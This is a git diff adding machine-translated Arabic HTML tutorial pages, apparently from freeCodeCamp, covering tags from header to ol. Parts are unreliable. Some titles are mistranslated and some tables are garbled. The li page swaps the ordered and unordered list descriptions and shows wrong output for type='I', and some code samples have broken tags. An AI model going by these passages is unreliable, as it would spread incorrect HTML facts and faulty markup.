+### ، وما إلى ذلك درجة انخفاض الأهمية. على الرغم من أن العلامة `<header>` غير مطلوبة ، إلا أنها تهدف إلى احتواء عنوان المقاطع المحيطة. كما يمكن استخدامه أكثر من مرة في مستند HTML. من المهم ملاحظة أن العلامة `<header>` لا تعرض قسمًا جديدًا ، ولكنها ببساطة رأس قسم.
+
+في ما يلي مثال على ذلك باستخدام العلامة `<header>` :
+
+ `
+<article> 
+  <header> 
+    <h1>Heading of Page</h1> 
+  </header> 
+    <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> 
+ </article> 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/header)
+*   [مدارس W3](https://www.w3schools.com/tags/tag_header.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/hr-tag/index.md b/client/src/guide/arabic/html/elements/hr-tag/index.md
new file mode 100644
index 0000000000..29c7cf19e0
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/hr-tag/index.md
@@ -0,0 +1,25 @@
+---
+title: Hr Tag
+localeTitle: يوم حر
+---
+## علامة hr
+
+القاعدة الأفقية أو `<hr>` هي علامة تسمح بإدراج خط divisory ، وتحديد محتوى المستند الخاص بك. من المهم جدًا توضيح أن هذه العلامة عبارة عن فاصل مواضيعي ؛ في الإصدارات السابقة من .html هي قاعدة أفقية.
+
+### مثال
+
+ `<!DOCTYPE html> 
+ <html> 
+  <body> 
+    <h2>FreeCodeCamp</h2> 
+    <p>FreeCodeCamp is a place where you can learn to code from scratch to professional</p> 
+ 
+    <hr> 
+ 
+    <h3>How to start</h3> 
+    <p>Just go to <a href="www.freecodecamp.com">FreeCodeCamp website and start learning!</a></p> 
+ 
+    <hr> 
+  </body 
+ </html> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/i-tag/index.md b/client/src/guide/arabic/html/elements/i-tag/index.md
new file mode 100644
index 0000000000..7326af5921
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/i-tag/index.md
@@ -0,0 +1,19 @@
+---
+title: I Tag
+localeTitle: أنا تاج
+---
+## أنا تاج
+
+يتم استخدام العنصر `<i>` للإشارة إلى النص الذي يتم فصله عن النص المحيط به بطريقة ما. بشكل افتراضي ، سيتم عرض النص المحاط بعلامات `<i>` بنوع مائل.
+
+في مواصفات HTML السابقة ، تم استخدام العلامة `<i>` فقط للإشارة إلى النص المائل. ومع ذلك ، في HTML الدلالي الحديث ، يجب استخدام علامات مثل `<em>` و `<strong>` عند الاقتضاء. يمكنك استخدام السمة "class" الخاصة بالعنصر `<i>` لتوضيح سبب اختلاف النص في العلامات عن النص المحيط. قد ترغب في إظهار أن النص أو العبارة من لغة مختلفة ، كما هو موضح في المثال أدناه.
+
+ `<p>The French phrase <i class="french">esprit de corps</i> is often 
+ used to describe a feeling of group cohesion and fellowship.</p> 
+` 
+
+#### معلومات اكثر:
+
+*   [عنصر HTML <i>: MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/i)
+*   [أنا علامة: w3schools](https://www.w3schools.com/tags/tag_i.asp)
+*   [أنا علامة: htmlreference.io](http://htmlreference.io/element/i/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/iframe-tag/index.md b/client/src/guide/arabic/html/elements/iframe-tag/index.md
new file mode 100644
index 0000000000..4ab8bfc9b3
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/iframe-tag/index.md
@@ -0,0 +1,30 @@
+---
+title: Iframe Tag
+localeTitle: علامة Iframe
+---
+## علامة Iframe
+
+تُستخدم علامات iframe لإضافة صفحة ويب أو تطبيق حالي إلى موقع الويب الخاص بك ضمن مساحة محددة.
+
+عند استخدام علامات iframe ، يجب استخدام السمة src للإشارة إلى موقع صفحة الويب أو التطبيق لاستخدامها داخل الإطار.
+
+ `
+<iframe src="framesite/index.html"></iframe> 
+` 
+
+يمكنك ضبط خصائص العرض والارتفاع لتقييد حجم الإطار.
+
+ `
+<iframe src="framesite/index.html" height="500" width="200"></iframe> 
+` 
+
+إذا كانت إطارات iframe تحتوي على حد افتراضي ، إذا كنت ترغب في إزالة هذا ، فيمكنك فعل ذلك باستخدام سمة النمط وتعيين خصائص حدود CSS إلى بلا.
+
+ `
+<iframe src="framesite/index.html" height="500" width="200" style="border:none;"></iframe> 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN - HTML iframe tag](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)
+*   [W3 - HTML 5.2 iframe specification](https://www.w3.org/TR/html5/semantics-embedded-content.html#the-iframe-element)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/img-tag/index.md b/client/src/guide/arabic/html/elements/img-tag/index.md
new file mode 100644
index 0000000000..a3ccebc981
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/img-tag/index.md
@@ -0,0 +1,33 @@
+---
+title: Img Tag
+localeTitle: img العلامة
+---
+## img العلامة
+
+يمكن تضمين عنصر صورة HTML بسيط في مستند HTML كما يلي:
+
+ `
+<img src="path/to/image/file" alt="this is a cool picture"> 
+` 
+
+`alt` توفر علامات النص البديل للصورة. استخدام واحد لعلامة `alt` مخصص للأشخاص ضعاف البصر الذين يستخدمون قارئ الشاشة ؛ يمكن قراءة علامة `alt` الخاصة بالصورة لفهم معنى الصورة.
+
+لاحظ أن المسار إلى ملف الصورة يمكن أن يكون نسبيًا أو مطلقًا. أيضا، تذكر أن `img` العنصر ذاتية الإغلاق، وهذا يعني أنه لا يغلق مع `<img />` العلامة وبدلا من ذلك يغلق مع مجرد واحد `>` .
+
+مثال:
+
+ `
+<img src="https://example.com/image.png" alt="my picture"> 
+` 
+
+(هذا على افتراض أن ملف html موجود على https://example.com/index.html ، لذا فهو موجود في نفس المجلد مثل ملف الصورة)
+
+بالضبط مثل:
+
+ `
+<img src="image.png" alt="my picture"> 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img) [W3Schools](https://www.w3schools.com/TAGs/tag_img.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/index.md b/client/src/guide/arabic/html/elements/index.md
new file mode 100644
index 0000000000..ac4181ac56
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/index.md
@@ -0,0 +1,112 @@
+---
+title: Elements
+localeTitle: عناصر
+---
+# عناصر HTML
+
+العناصر هي وحدات بناء HTML التي تصف بنية ومحتوى صفحة الويب. وهي جزء "Markup" من لغة توصيف النص التشعبي (HTML).
+
+يستخدم بناء جملة HTML أقواس الزاوية ("<" و ">") للاحتفاظ باسم عنصر HTML. تحتوي العناصر عادةً على علامة افتتاحية وعلامة إغلاق ، وتقدم معلومات حول المحتوى الذي تحتوي عليه. الفرق بين الاثنين هو أن علامة الإغلاق تحتوي على شرطة مائلة للأمام.
+
+في ما يلي مثال على استخدام [عنصر p](#) ( `<p>` ) لإخبار المتصفح بأن مجموعة من النصوص هي فقرة:
+
+ `
+<p>This is a paragraph.</p> 
+` 
+
+يجب أن تتطابق علامات فتح وإغلاق ، وإلا فقد يعرض المتصفح المحتوى بطريقة غير متوقعة.
+
+![XKCD comic الذي يعرض النص "س: كيف تزعج المطور؟" محاطًا بعلامة div الافتتاحية وعلامة span span](http://imgs.xkcd.com/comics/tags.png)
+
+## عناصر الإغلاق الذاتي
+
+تكون بعض عناصر HTML ذاتية الإغلاق ، بمعنى أنها لا تحتوي على علامة إغلاق منفصلة. عادةً ما تقوم عناصر الإغلاق الذاتي بإدراج شيء ما في المستند الخاص بك.
+
+مثال على [عنصر br](#) ( `<br>` ) ، الذي يدرج فاصلا في النص. في السابق ، كانت علامات الإغلاق الذاتي مائلة إلى الأمام داخلها ( `<br />` ) ، ومع ذلك ، لم تعد مواصفات HTML5 تتطلب ذلك.
+
+## وظيفة عنصر HTML
+
+هناك العديد من عناصر HTML المتاحة. فيما يلي قائمة ببعض الوظائف التي تؤديها:
+
+*   تقديم معلومات حول صفحة الويب نفسها (البيانات الوصفية)
+*   هيكل محتوى الصفحة إلى أقسام
+*   تضمين صور أو مقاطع فيديو أو مقاطع صوتية أو وسائط متعددة أخرى
+*   إنشاء القوائم والجداول والنماذج
+*   تقديم المزيد من المعلومات حول محتوى نصي معين
+*   الارتباط إلى صفحات الأنماط التي تحتوي على قواعد حول كيفية عرض المتصفح للصفحة
+*   إضافة برامج نصية لجعل الصفحة أكثر تفاعلية وديناميكية
+
+## تداخل عناصر HTML
+
+يمكنك تداخل عناصر ضمن عناصر أخرى في مستند HTML. هذا يساعد على تحديد بنية الصفحة. فقط تأكد من إغلاق العلامات من داخل معظم العناصر أولاً.
+
+صيح: `<p>This is a paragraph that contains a <span>span element.</span></p>`
+
+غير صحيح: `<p>This is a paragraph that contains a <span>span element.</p></span>`
+
+## كتلة المستوى وعناصر مضمن
+
+تأتي العناصر في فئتين عامتين ، والمعروفة باسم مستوى الحظر والمضمنة. تبدأ عناصر مستوى الكتلة تلقائيًا في سطر جديد بينما تجلس العناصر المضمنة داخل المحتوى المحيط.
+
+وعادةً ما تكون العناصر التي تساعد في تنظيم الصفحة إلى أقسام ، مثل شريط التنقل والعناوين والفقرات ، عناصر مستوى الكتلة. تكون العناصر التي تدرج أو تقدم المزيد من المعلومات حول المحتوى مضمنة بشكل عام ، مثل [الروابط](#) أو [الصور](#) .
+
+## عنصر HTML
+
+يوجد عنصر `<html>` يستخدم في احتواء الترميز الآخر لمستند HTML. يُعرف أيضًا باسم عنصر "الجذر" نظرًا لأنه العنصر الرئيسي لعناصر HTML الأخرى ومحتوى الصفحة.
+
+في ما يلي مثال لصفحة بها [عنصر رئيسي](#the-head-element) ، [وعنصر أساسي](#the-body-element) ، [وفقرة](#the-p-element) واحدة:
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+  </head> 
+  <body> 
+    <p>I'm a paragraph</p> 
+  </body> 
+ </html> 
+` 
+
+## عنصر الرأس
+
+هذه هي الحاوية لمعالجة المعلومات والبيانات الوصفية لمستند HTML.
+
+ `
+<head> 
+  <meta charset="utf-8"> 
+ </head> 
+` 
+
+## عنصر BODY
+
+هذه حاوية للمحتوى القابل للعرض لمستند HTML.
+
+ `
+<body>...</body> 
+` 
+
+## ف عنصر
+
+ينشئ فقرة ، ربما عنصر مستوى الكتلة الأكثر شيوعًا.
+
+ `
+<p>...</p> 
+` 
+
+## عنصر A (Link)
+
+ينشئ ارتباطًا تشعبيًا لتوجيه الزائرين إلى صفحة أو مورد آخر.
+
+ `
+<a href="#">...</a> 
+` 
+
+## موارد آخرى
+
+*   [HTML الفقرات](#)
+*   [HTML br](#)
+*   [روابط HTML](#)
+*   [صور HTML](#)
+*   [رئيس HTML](#)
+*   [هيئة HTML](#)
+*   [HTML DOCTYPE](#)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/input-tag/index.md b/client/src/guide/arabic/html/elements/input-tag/index.md
new file mode 100644
index 0000000000..f07387a9c7
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/input-tag/index.md
@@ -0,0 +1,78 @@
+---
+title: Input Tag
+localeTitle: علامة الإدخال
+---
+## إدخال
+
+يمكن تضمين علامة إدخال HTML في مستند HTML مثل:
+
+ `
+<input type="text"> 
+` 
+
+هذا يخلق منطقة يمكن للمستخدم من خلالها إدخال المعلومات بسهولة. ثم يتم إرسال هذه المعلومات إلى قاعدة البيانات الخلفية وتخزينها أو استخدامها إلى مزيد من أسفل داخل الموقع أو التطبيق.
+
+سيؤدي إدخال مع "type = 'text'" إلى إنشاء حقل سطر واحد حيث يمكن إدخال أي معلومات. تتضمن الأنواع الشائعة الأخرى من المدخلات على سبيل المثال لا الحصر: الزر ، مربع الاختيار ، اللون ، البريد الإلكتروني وكلمة المرور.
+
+### الأنواع الأكثر استخدامًا
+
+*   `text` : حقل نص أحادي السطر.
+    
+*   `button` : زر بلا سلوك افتراضي.
+    
+*   `submit` : زر يرسل النموذج.
+    
+*   `checkbox` : خانة اختيار تسمح بتحديد / إلغاء تحديد القيم.
+    
+*   `date` : لإدخال تاريخ (السنة والشهر واليوم).
+    
+*   `email` : لتحرير عنوان بريد إلكتروني.
+    
+*   `file` : يتيح للمستخدم تحديد ملف.
+    
+*   `hidden` : غير معروض ولكن يتم إرسال قيمته إلى الخادم.
+    
+*   `number` : لإدخال رقم.
+    
+*   `password` : حقل نص أحادي السطر يتم حجب قيمته.
+    
+*   `radio` : زر اختيار ، مما يسمح بتحديد قيمة واحدة من بين خيارات متعددة.
+    
+*   `range` : عنصر تحكم لإدخال رقم.
+    
+*   `url` : لإدخال عنوان URL.
+    
+
+مثال:
+
+ `
+<input type="button"> 
+ <input type="checkbox"> 
+ <input type="color"> 
+ <input type="email"> 
+ <input type="password"> 
+` 
+
+المدخلات تأتي مع الكثير من الصفات المحددة سلفا.
+
+تتضمن بعض السمات الشائعة عادةً الإكمال التلقائي والفحص والعنصر النائب.
+
+ `
+<input type="text" placeholder="This is a placeholder"> 
+` 
+
+في المثال أعلاه ، يتم عرض منطقة يمكن إدخال الإدخال فيها ، مع ذكر العنصر النائب "هذا هو عنصر نائب". بمجرد النقر فوق سطر الإدخال وضغط المفتاح ، يختفي العنصر النائب ويحل محله الإدخال الخاص بك.
+
+ `
+<input type="checkbox" checked> 
+` 
+
+في هذا المثال ، يظهر مربع اختيار ويتم تحديده افتراضيًا نظرًا للسمة "المحددة".
+
+هناك العديد من الأنواع المختلفة من المدخلات والسمات المرتبطة التي يمكن العثور عليها جميعها على الرابط الموجود أدناه.
+
+#### معلومات اكثر:
+
+https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input
+
+https://www.w3schools.com/tags/tag\_input.asp
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/input-types/index.md b/client/src/guide/arabic/html/elements/input-types/index.md
new file mode 100644
index 0000000000..0d24a107c9
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/input-types/index.md
@@ -0,0 +1,13 @@
+---
+title: Input Types
+localeTitle: أنواع المدخلات
+---
+## أنواع المدخلات
+
+يمكن تخصيص عناصر HTML لإدخال سمة تسمى "type". يحدد نوع عنصر الإدخال نوع البيانات التي يمكن للمستخدم إدخالها. الإدخال الافتراضي هو النص ، ولكن الخيارات الأخرى تحتوي على مربعات الاختيار أو الأزرار البسيطة أو اللون (باستخدام الرموز السداسية).
+
+#### معلومات اكثر:
+
+[مدارس W3: نوع المدخلات](https://www.w3schools.com/tags/att_input_type.asp)
+
+[MDN:](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/label-tag/index.md b/client/src/guide/arabic/html/elements/label-tag/index.md
new file mode 100644
index 0000000000..0f85509cfa
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/label-tag/index.md
@@ -0,0 +1,60 @@
+---
+title: Label Tag
+localeTitle: يوم التسمية
+---
+# علامة التصنيف
+
+< **_label_** > يحدد تسمية لـ  نوع العنصر / العلامة.
+
+### استعمال
+
+ `<label for="id">Label</label> 
+ <input type="text" name="text" id="id" value="yourvalue"><br> 
+` 
+
+كما ترون، ينبغي أن يكون _للسمة_ من العلامة يساوي السمة معرف العنصر ذات الصلة لربط معا.
+
+### دعم النظام الأساسي
+
+| متصفح | دعم عنصر | |: -----: |: -------------: | | انترنت اكسبلورر |: علامة _الاختيار_ البيضاء: | | موزيلا فايرفوكس |: علامة _الاختيار_ البيضاء: | | جوجل كروم |: علامة _الاختيار_ البيضاء: | | أوبرا |: علامة _الاختيار_ البيضاء: | سفاري |: علامة _الاختيار_ البيضاء: |
+
+### سمات
+
+| السمة | قيمة | الوصف | |: -------: |: ----: |: ---------: | | ل| _معرف_ العنصر _| يحدد أي عنصر نموذج يرتبط به ملصق | | form | form_ id | لتحديد _نموذج_ واحد أو أكثر ينتمي التسمية إلى |
+
+### السمة العالمية
+
+تدعم العلامة < **label** > السمات العامة في HTML.
+
+### سمة الحدث
+
+تدعم العلامة < **label** > سمات الأحداث في HTML.
+
+> لا يتم تقديم العنصر < **label** > كأي شيء خاص للمستخدم. ومع ذلك ، فإنه يوفر تحسينًا قابلية الاستخدام لمستخدمي الماوس ، لأنه إذا قام المستخدم بالنقر فوق النص داخل العنصر ، فإنه يقوم بتحويل عنصر التحكم.
+
+#### معلومات اكثر:
+
+# [https://www.w3schools.com/jsref/dom _obj_ label.asp](https://www.w3schools.com/jsref/dom_obj_label.asp)
+
+## ضع الكلمة المناسبة
+
+تحدد العلامة `<label>` تسمية لعنصر `<input>` .
+
+يمكن ربط التسمية بعنصر إما باستخدام السمة "for" أو بوضع العنصر داخل العنصر.
+
+ `
+<label for="peas">Do you like peas? 
+  <input type="checkbox" name="peas" id="peas"> 
+ </label> 
+` 
+
+ `
+<label>Do you like peas? 
+  <input type="checkbox" name="peas"> 
+ </label> 
+` 
+
+#### معلومات اكثر:
+
+[MDN - علامة Tabel](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/label)  
+[W3School - علامة العلامة](https://www.w3schools.com/tags/tag_label.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/li-tag/index.md b/client/src/guide/arabic/html/elements/li-tag/index.md
new file mode 100644
index 0000000000..e00a0c4011
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/li-tag/index.md
@@ -0,0 +1,176 @@
+---
+title: Li Tag
+localeTitle: لى العلامة
+---
+## لى العلامة
+
+تحدد العلامة `<li>` عنصر قائمة في قائمة. يمكن استخدام العلامة `<li>` مع قوائم غير مرتبة ( `<ul>` ) ، وقوائم مرتبة ( `<ol>` ) ، والقوائم ( `<menu>` ).
+
+لتحديد عنصر قائمة ، قم بلف العناصر المطلوبة في `<li>` العلامة. يجب تضمين عناصر `<li>` داخل عنصر أصل يمثل قائمة.
+
+### مثال
+
+ `
+<body> 
+  <ul> 
+    <li> 
+      <p>I'm a list item</p> 
+    </li> 
+    <li> 
+      <p>I'm a list item too</p> 
+    </li> 
+    <li> 
+      <p>Me three/p> 
+    </li> 
+  </ul> 
+ </body> 
+` 
+
+في قائمة مرتبة ، يظهر `<li>` كبند ذو نقطة نقطية.
+
+*   البند الأول
+*   البند الثاني
+*   البند الثالث
+
+في قائمة غير مرتبة ، يظهر `<li>` كعنصر مرقّم.
+
+1.  البند الأول
+2.  البند الثاني
+3.  البند الثالث
+
+يمكن تخصيص عداد العرض الرقمي هذا باستخدام خاصية CSS من _نوع نمط القائمة_ .
+
+أمثلة:
+
+ `
+<!-- In a simple unordered list --> 
+ <ul> 
+  <li>First item</li> 
+  <li>Second item</li> 
+  <li>Third item</li> 
+ </ul> 
+ 
+ <!-- In a simple ordered list --> 
+ <ol> 
+  <li>First item</li> 
+  <li>Second item</li> 
+  <li>Third item</li> 
+ </ol> 
+ 
+ <!-- In a menu list --> 
+ <menu> 
+  <li>Menu item one</li> 
+  <li>Menu item two</li> 
+  <li>Menu item three</li> 
+ </menu> 
+` 
+
+### سمات
+
+يحتوي العنصر `<li>` على العناصر التالية:
+
+#### نوع
+
+تحدد السمة `type` الترقيم الذي سيتم استخدامه في القائمة. تُستخدم القيم التالية لتحديد نمط الترقيم الذي سيتم استخدامه:
+
+*   `1` : الأرقام
+*   `a` : أحرف صغيرة
+*   `A` : أحرف كبيرة
+*   `i` : الأرقام الصغيرة
+*   `I` : الأرقام الكبيرة
+
+#### مثال
+
+ `
+<body> 
+  <ol type="I"> 
+    <li>list item</li> 
+    <li>list item</li> 
+    <li>list item</li> 
+  </ol> 
+ </body> 
+` 
+
+سوف ينتج HTMl أعلاه:
+
+1.  قائمة الاغراض
+2.  قائمة الاغراض
+3.  قائمة الاغراض
+
+#### القيمة
+
+تحدد السمة `value` الترتيب الرقمي لـ `<li>` الحالي. هذه السمة تقبل فقط قيمة رقمية ويمكن استخدامها فقط مع قائمة مرتبة. سيتم ترتيب أي عناصر قائمة تتبع عدديًا استنادًا إلى الإدخال الرقمي لسمة `value` .
+
+#### مثال
+
+ `
+<body> 
+  <ol> 
+    <li value="4">list item</li> 
+    <li>list item</li> 
+    <li>list item</li> 
+  </ol> 
+ </body> 
+` 
+
+سوف ينتج HTML أعلاه:
+
+4.  قائمة الاغراض
+5.  قائمة الاغراض
+6.  قائمة الاغراض
+
+### تداخل قائمة أخرى كعنصر
+
+إلى جانب إنشاء عناصر فردية ، يمكنك أيضًا استخدام علامات `<li>` لإنشاء قائمة متداخلة ، مرتبة أو غير مرتبة. للقيام بذلك ، تقوم بتعشيق `<ol>` أو `<ul>` _داخل_ علامة `<li>` .
+
+هذه قائمة غير مرتبة بها قائمة متداخلة مرتبة.
+
+*   البند الأول
+*   البند الثاني
+
+1.  البند الفرعي الأول
+2.  البند الفرعي الثاني
+
+*   البند الثالث
+
+وهنا قائمة مرتبة مع قائمة متداخلة وغير مرتبة.
+
+1.  البند الأول
+2.  البند الثاني
+
+*   البند الفرعي الأول
+*   البند الفرعي الثاني
+
+1.  البند الثالث
+
+ `
+<!-- An unordered list with a nested, ordered list. --> 
+ <ul> 
+  <li>First item</li> 
+  <li>Second item  <!-- No closing </li> tag before the nested list --> 
+    <ol> 
+      <li>First sub-item</li> 
+      <li>Second sub-item</li> 
+    </ol> 
+  </li>            <!-- The closing </li> tag comes after the nested list --> 
+  <li>Third item</li> 
+ </ul> 
+ 
+ <!-- An ordered list with a nested, unordered list. --> 
+ <ol> 
+  <li>First item</li> 
+  <li>Second item  <!-- No closing </li> tag before the nested list --> 
+    <ul> 
+      <li>First sub-item</li> 
+      <li>Second sub-item</li> 
+    </ul> 
+  </li>            <!-- The closing </li> tag comes after the nested list --> 
+  <li>Third item</li> 
+ </ol> 
+` 
+
+#### معلومات اكثر:
+
+*   [عنصر HTML <li>: MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/li)
+*   [HTML <li> tag: w3schools](https://www.w3schools.com/cssref/pr_list-style-type.asp)
+*   [خاصية نمط قائمة CSS: CSS-Tricks](https://css-tricks.com/almanac/properties/l/list-style/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/link-tag/index.md b/client/src/guide/arabic/html/elements/link-tag/index.md
new file mode 100644
index 0000000000..0f2dd8f011
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/link-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Link Tag
+localeTitle: رابط العلامة
+---
+## رابط العلامة
+
+يمكن استخدام عنصر الوصلة لربط المحتوى ذي الصلة من صفحة ويب أخرى أو مستند آخر. تتضمن علامات الارتباط شائعة تنفيذ CSS إلى مستند HTML.
+
+#### معلومات اكثر:
+
+[MDN: Link Tag](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/link)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/lists/index.md b/client/src/guide/arabic/html/elements/lists/index.md
new file mode 100644
index 0000000000..4f2fa33356
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/lists/index.md
@@ -0,0 +1,69 @@
+---
+title: Lists
+localeTitle: قوائم
+---
+## قوائم
+
+هناك ثلاثة أنواع من القوائم في HTML. يجب أن تحتوي جميع القوائم على عنصر قائمة واحد أو أكثر.
+
+### قائمة HTML غير مرتبة
+
+تبدأ القائمة غير مرتبة بالعلامة `<ul>` وتبدأ عناصر القائمة بالعلامة `<li>` . في القوائم unordered كافة عناصر القائمة المميزة بالرموز النقطية بشكل افتراضي.
+
+\`\` \`
+
+*   بند
+*   بند
+*   بند
+
+\`\` \` انتاج:
+
+*   بند
+*   بند
+*   بند
+
+### أمر HTML قائمة
+
+تبدأ القائمة المطلوبة بالعلامة `<ol>` وعناصر القوائم تبدأ بالعلامة `<li>` . في القوائم المطلوبة يتم وضع علامة على جميع عناصر القائمة بالأرقام.
+
+\`\` \`
+
+1.  البند الأول
+2.  البند الثاني
+3.  البند الثالث
+
+\`\` \` انتاج:
+
+1.  البند الأول
+2.  البند الثاني
+3.  البند الثالث
+
+### قائمة وصف HTML
+
+تحتوي قائمة الوصف على عناصر قائمة مع تعريفاتها. نستخدم العلامة `<dl>` لبدء القائمة ، وعلامة `<dt>` لتحديد مصطلح وعلامة `<dd>` لوصف كل مصطلح.
+
+\`\` \`
+
+freeCodeCamp
+
+تعلم أن ترمز مع دورات مجانية على الإنترنت ، ومشاريع البرمجة ، وإعداد المقابلات لوظائف المطور.
+
+جيثب
+
+GitHub هو مستودع تحكم Git أو إصدار مستندة إلى الويب وخدمة استضافة إنترنت. يتم استخدامه في الغالب لرمز.
+
+\`\` \` انتاج:
+
+freeCodeCamp
+
+تعلم أن ترمز مع دورات مجانية على الإنترنت ، ومشاريع البرمجة ، وإعداد المقابلات لوظائف المطور.
+
+جيثب
+
+GitHub هو مستودع تحكم Git أو إصدار مستندة إلى الويب وخدمة استضافة إنترنت. يتم استخدامه في الغالب لرمز.
+
+#### معلومات اكثر:
+
+[HTML](https://html.com/lists/)
+
+[w3schools](https://www.w3schools.com/html/html_lists.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/main-tag/index.md b/client/src/guide/arabic/html/elements/main-tag/index.md
new file mode 100644
index 0000000000..04ce5e5a6d
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/main-tag/index.md
@@ -0,0 +1,27 @@
+---
+title: Main Tag
+localeTitle: اليوم الرئيسي
+---
+## العلامة الرئيسية
+
+تعمل العلامة `<main>` مشابهة للعلامة `<div>` ولكنها تمثل المحتوى الرئيسي للمستند أو جزء من المستند. يمكن استخدام علامات `<main>` متعددة ، على سبيل المثال للمحتوى الرئيسي لمواد مختلفة ، وبالتالي يجب أن تكون محتوياتها فريدة للمستند ولا تتكرر في مكان آخر.
+
+### مثال
+
+يوضح المثال التالي استخدام العلامة `<main>` :
+
+ `
+<!-- other content --> 
+ 
+ <main> 
+  <h1>Diary Entry 31</h1> 
+  <p>Oct 23 2017</p> 
+ 
+  <article> 
+    <h2>Today Is Unique</h2> 
+    <p>This information will be unique among other articles.</p> 
+  </article> 
+ </main> 
+ 
+ <!-- other content --> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/meta-tag/index.md b/client/src/guide/arabic/html/elements/meta-tag/index.md
new file mode 100644
index 0000000000..3428405162
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/meta-tag/index.md
@@ -0,0 +1,28 @@
+---
+title: Meta Tag
+localeTitle: العلامة الوصفية
+---
+## علامة متغيرة
+
+توفر العلامة `<meta>` البيانات التعريفية حول مستند HTML.
+
+يتم استخدام البيانات الوصفية هذه لتحديد مجموعة الحروف والوصف والكلمات الرئيسية والمؤلف وإطار العرض الخاص بالصفحة.
+
+لن تظهر هذه البيانات الوصفية على موقع الويب نفسه ، ولكن سيتم استخدامها من قبل المستعرضين ومحركات البحث لتحديد كيفية عرض الصفحة للمحتوى وتقييم تحسين محرك البحث (SEO).
+
+يتم تعيين بيانات التعريف إلى من وثيقة HTML:
+
+ `
+<head> 
+  <meta charset="UTF-8"> 
+  <meta name="description" content="Short description of website content here"> 
+  <meta name="keywords" content="HTML,CSS,XML,JavaScript"> 
+  <meta name="author" content="Jane Smith"> 
+  <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
+ <!-- HTML5 introduced a method to let web designers take control over the viewport, through the <meta> tag. The viewport is the user's visible area of a web page. A <meta> viewport element gives the browser instructions on how to control the page's dimensions and scaling. --> 
+ </head> 
+` 
+
+#### معلومات اكثر:
+
+للحصول على معلومات إضافية حول  العلامة ، يرجى زيارة ما يلي: (https://www.w3schools.com/TAgs/tag\_meta.asp "w3schools.com  سمة ") (https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta "MDN  سمة ")
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/nav-tag/index.md b/client/src/guide/arabic/html/elements/nav-tag/index.md
new file mode 100644
index 0000000000..5f71790c77
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/nav-tag/index.md
@@ -0,0 +1,23 @@
+---
+title: Nav Tag
+localeTitle: علامة Nav
+---
+## علامة Nav
+
+إن العلامة `<nav>` مخصصة للحظر الرئيسي لارتباطات التنقل. لا ينبغي أن تكون جميع روابط المستند داخل عنصر `<nav>` .
+
+يمكن أن تستخدم المتصفحات ، مثل قارئات الشاشة للمستخدمين ذوي الاحتياجات الخاصة ، هذا العنصر لتحديد ما إذا كان سيتم حذف العرض الأولي لهذا المحتوى.
+
+#### مثال
+
+\`\` \`أتش تي أم أل
+
+*   [الصفحة الرئيسية](#)
+*   [حول](#)
+*   [اتصل](#)
+
+\`\` \`
+
+#### معلومات اكثر:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/nav)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/ol-tag/index.md b/client/src/guide/arabic/html/elements/ol-tag/index.md
new file mode 100644
index 0000000000..2e36e0f51b
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/ol-tag/index.md
@@ -0,0 +1,31 @@
+---
+title: ol Tag
+localeTitle: رأ العلامة
+---
+## رأ العلامة
+
+تقوم العلامة `<ol>` بإنشاء عنصر قائمة مرتبة في HTML. القائمة المطلوبة هي واحدة من بندين قائمة في HTML ، والآخر هو قائمة غير مرتبة ، التي تم إنشاؤها بواسطة العلامة `<ul>` . يتم استخدام القوائم المطلوبة لعرض القوائم بترتيب ذي معنى. بشكل افتراضي ، يتم عرض عناصر القائمة في قائمة مرتبة كقائمة ذات تعداد رقمي ، بدءًا من 1. يمكن تغيير هذا السلوك باستخدام السمة "type" أو باستخدام أنماط CSS. عناصر القائمة يمكن أن تكون متداخلة.
+
+ `
+<ol> 
+  <li>First Item</li> 
+  <li>Second Item  <!-- No closing </li> tag before the nested list --> 
+    <ol> 
+      <li>First Subitem</li> 
+      <li>Second Subitem</li> 
+    </ol> 
